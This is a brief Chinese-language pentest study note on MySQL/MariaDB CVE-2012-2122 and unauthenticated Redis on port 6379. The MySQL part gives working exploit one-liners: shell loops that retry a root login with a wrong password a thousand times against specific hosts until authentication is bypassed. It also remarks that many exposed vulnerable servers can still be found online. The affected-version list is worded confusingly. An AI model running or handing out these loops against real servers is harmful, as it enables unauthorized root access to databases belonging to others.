Mysql-CVE-2012-2122漏洞&Redis漏洞

知识点

Mysql-CVE-2012-2122漏洞

Redis漏洞

Mysql-CVE-2012-2122漏洞

这个漏洞呢现在还存在而且网上留意的话还能找到挺多的

影响版本

• MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
• MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-192.168.0.1 -P3306 ; done

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.154.3  ; done

Redis漏洞

工具

https://github.com/tporadowski/redis

这漏洞主要是6379端口他默认不设置密码导致的